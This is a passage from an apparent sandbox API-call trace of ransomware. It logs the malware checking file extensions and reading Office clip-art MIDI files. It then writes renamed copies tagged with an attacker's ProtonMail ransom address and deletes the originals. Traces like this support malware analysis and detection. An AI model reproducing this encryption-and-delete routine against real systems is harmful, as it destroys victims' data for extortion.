lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0234.334] lstrlenW (lpString=".ppt") returned 4 [0234.334] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0234.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0234.335] lstrlenW (lpString=".zip") returned 4 [0234.335] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0234.335] lstrlenW (lpString=".rar") returned 4 [0234.335] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0234.335] lstrlenW (lpString=".bz2") returned 4 [0234.335] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0234.335] lstrlenW (lpString=".7z") returned 3 [0234.335] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0234.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0234.335] lstrlenW (lpString=".dbf") returned 4 [0234.335] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0234.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0234.335] lstrlenW (lpString=".1cd") returned 4 [0234.336] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0234.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned 62 [0234.336] lstrlenW (lpString=".jpg") returned 4 [0234.336] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0234.336] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0234.336] lstrlenW (lpString="INDST_01.MID") returned 12 [0234.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0234.631] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=8568) returned 1 [0234.631] CloseHandle (hObject=0x38c) returned 1 [0234.631] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid")) returned 0x20 [0234.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0234.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0234.786] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.786] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0234.985] GetLastError () returned 0x0 [0234.985] ReadFile (in: hFile=0x320, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x2178, lpOverlapped=0x0) returned 1 [0235.027] WriteFile (in: hFile=0x38c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0x2180, lpOverlapped=0x0) returned 1 [0235.036] ReadFile (in: hFile=0x320, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0235.037] WriteFile (in: hFile=0x38c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0235.037] SetEndOfFile (hFile=0x38c) returned 1 [0235.037] CloseHandle (hObject=0x38c) returned 1 [0238.572] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0238.572] SetEndOfFile (hFile=0x320) returned 1 [0239.685] CloseHandle (hObject=0x320) returned 1 [0239.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0240.498] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\indst_01.mid")) returned 1 [0240.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0240.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0240.631] lstrlenW (lpString=".doc") returned 4 [0240.631] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0240.631] lstrlenW (lpString=".docx") returned 5 [0240.632] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0240.641] lstrlenW (lpString=".pdf") returned 4 [0241.206] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0241.206] lstrlenW (lpString=".xls") returned 4 [0241.206] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0241.206] lstrlenW (lpString=".xlsx") returned 5 [0241.206] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0241.206] lstrlenW (lpString=".ppt") returned 4 [0241.206] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0241.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0241.206] lstrlenW (lpString=".zip") returned 4 [0241.206] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0241.206] lstrlenW (lpString=".rar") returned 4 [0241.206] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0241.206] lstrlenW (lpString=".bz2") returned 4 [0241.206] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0241.207] lstrlenW (lpString=".7z") returned 3 [0241.207] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0241.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0241.207] lstrlenW (lpString=".dbf") returned 4 [0241.207] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0241.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0241.207] lstrlenW (lpString=".1cd") returned 4 [0241.207] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0241.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0241.207] lstrlenW (lpString=".jpg") returned 4 [0241.207] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0241.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0241.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0241.208] lstrlenW (lpString=".doc") returned 4 [0241.208] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0241.208] lstrlenW (lpString=".docx") returned 5 [0241.208] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0241.208] lstrlenW (lpString=".pdf") returned 4 [0241.208] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0241.208] lstrlenW (lpString=".xls") returned 4 [0241.208] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0241.208] lstrlenW (lpString=".xlsx") returned 5 [0241.208] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0241.208] lstrlenW (lpString=".ppt") returned 4 [0241.208] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0241.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0241.208] lstrlenW (lpString=".zip") returned 4 [0241.208] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0241.208] lstrlenW (lpString=".rar") returned 4 [0241.208] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0241.209] lstrlenW (lpString=".bz2") returned 4 [0241.209] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0241.209] lstrlenW (lpString=".7z") returned 3 [0241.209] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0241.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0241.209] lstrlenW (lpString=".dbf") returned 4 [0241.209] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0241.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0241.209] lstrlenW (lpString=".1cd") returned 4 [0241.209] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0241.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\INDST_01.MID") returned 63 [0241.209] lstrlenW (lpString=".jpg") returned 4 [0241.209] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0241.210] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0241.210] lstrlenW (lpString="PARNT_03.MID") returned 12 [0241.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0241.568] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=8538) returned 1 [0241.568] CloseHandle (hObject=0x3b8) returned 1 [0241.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid")) returned 0x20 [0242.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0242.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0242.121] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.121] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0242.138] GetLastError () returned 0x0 [0242.138] ReadFile (in: hFile=0x3b0, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x215a, lpOverlapped=0x0) returned 1 [0242.178] WriteFile (in: hFile=0x258, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x2160, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0x2160, lpOverlapped=0x0) returned 1 [0242.181] ReadFile (in: hFile=0x3b0, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.182] WriteFile (in: hFile=0x258, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.182] SetEndOfFile (hFile=0x258) returned 1 [0242.182] CloseHandle (hObject=0x258) returned 1 [0242.187] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.187] SetEndOfFile (hFile=0x3b0) returned 1 [0242.194] CloseHandle (hObject=0x3b0) returned 1 [0242.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0242.768] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid")) returned 1 [0242.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0242.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0242.973] lstrlenW (lpString=".doc") returned 4 [0242.973] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.973] lstrlenW (lpString=".docx") returned 5 [0242.973] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0242.973] lstrlenW (lpString=".pdf") returned 4 [0242.973] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.973] lstrlenW (lpString=".xls") returned 4 [0242.973] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.973] lstrlenW (lpString=".xlsx") returned 5 [0242.974] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0242.974] lstrlenW (lpString=".ppt") returned 4 [0242.974] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0242.974] lstrlenW (lpString=".zip") returned 4 [0242.974] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.974] lstrlenW (lpString=".rar") returned 4 [0242.974] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.974] lstrlenW (lpString=".bz2") returned 4 [0242.974] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.974] lstrlenW (lpString=".7z") returned 3 [0242.974] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0242.974] lstrlenW (lpString=".dbf") returned 4 [0242.975] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0242.975] lstrlenW (lpString=".1cd") returned 4 [0242.975] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0242.975] lstrlenW (lpString=".jpg") returned 4 [0242.975] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0242.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0242.975] lstrlenW (lpString=".doc") returned 4 [0242.975] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.975] lstrlenW (lpString=".docx") returned 5 [0242.976] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0242.976] lstrlenW (lpString=".pdf") returned 4 [0242.976] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.976] lstrlenW (lpString=".xls") returned 4 [0242.976] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.976] lstrlenW (lpString=".xlsx") returned 5 [0242.976] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0242.976] lstrlenW (lpString=".ppt") returned 4 [0242.976] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0242.976] lstrlenW (lpString=".zip") returned 4 [0242.976] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.977] lstrlenW (lpString=".rar") returned 4 [0242.977] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.977] lstrlenW (lpString=".bz2") returned 4 [0242.977] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.977] lstrlenW (lpString=".7z") returned 3 [0242.977] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0242.977] lstrlenW (lpString=".dbf") returned 4 [0242.977] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0242.977] lstrlenW (lpString=".1cd") returned 4 [0242.977] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0242.978] lstrlenW (lpString=".jpg") returned 4 [0242.978] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.978] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0242.978] lstrlenW (lpString="SAFRI_01.MID") returned 12 [0242.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0246.086] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=10122) returned 1 [0246.086] CloseHandle (hObject=0x354) returned 1 [0246.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid")) returned 0x20 [0246.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0246.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0246.148] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.148] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0246.149] GetLastError () returned 0x0 [0246.149] ReadFile (in: hFile=0x3ac, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x278a, lpOverlapped=0x0) returned 1 [0246.189] WriteFile (in: hFile=0x3a8, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0x2790, lpOverlapped=0x0) returned 1 [0246.193] ReadFile (in: hFile=0x3ac, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0246.193] WriteFile (in: hFile=0x3a8, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0246.194] SetEndOfFile (hFile=0x3a8) returned 1 [0246.194] CloseHandle (hObject=0x3a8) returned 1 [0246.195] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0246.195] SetEndOfFile (hFile=0x3ac) returned 1 [0246.201] CloseHandle (hObject=0x3ac) returned 1 [0246.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0246.203] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid")) returned 1 [0246.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0246.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0246.204] lstrlenW (lpString=".doc") returned 4 [0246.204] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0246.204] lstrlenW (lpString=".docx") returned 5 [0246.204] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0246.204] lstrlenW (lpString=".pdf") returned 4 [0246.204] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0246.204] lstrlenW (lpString=".xls") returned 4 [0246.204] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0246.204] lstrlenW (lpString=".xlsx") returned 5 [0246.204] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0246.204] lstrlenW (lpString=".ppt") returned 4 [0246.205] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0246.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0246.205] lstrlenW (lpString=".zip") returned 4 [0246.205] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0246.205] lstrlenW (lpString=".rar") returned 4 [0246.205] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0246.205] lstrlenW (lpString=".bz2") returned 4 [0246.205] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0246.205] lstrlenW (lpString=".7z") returned 3 [0246.205] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0246.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0246.205] lstrlenW (lpString=".dbf") returned 4 [0246.206] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0246.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0246.206] lstrlenW (lpString=".1cd") returned 4 [0246.206] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0246.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0246.206] lstrlenW (lpString=".jpg") returned 4 [0246.206] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0246.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0246.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0246.206] lstrlenW (lpString=".doc") returned 4 [0246.206] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0246.206] lstrlenW (lpString=".docx") returned 5 [0246.206] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0246.207] lstrlenW (lpString=".pdf") returned 4 [0246.207] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0246.207] lstrlenW (lpString=".xls") returned 4 [0246.207] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0246.207] lstrlenW (lpString=".xlsx") returned 5 [0246.207] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0246.207] lstrlenW (lpString=".ppt") returned 4 [0246.207] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0246.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0246.207] lstrlenW (lpString=".zip") returned 4 [0246.207] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0246.207] lstrlenW (lpString=".rar") returned 4 [0246.207] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0246.208] lstrlenW (lpString=".bz2") returned 4 [0246.208] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0246.208] lstrlenW (lpString=".7z") returned 3 [0246.208] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0246.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0246.208] lstrlenW (lpString=".dbf") returned 4 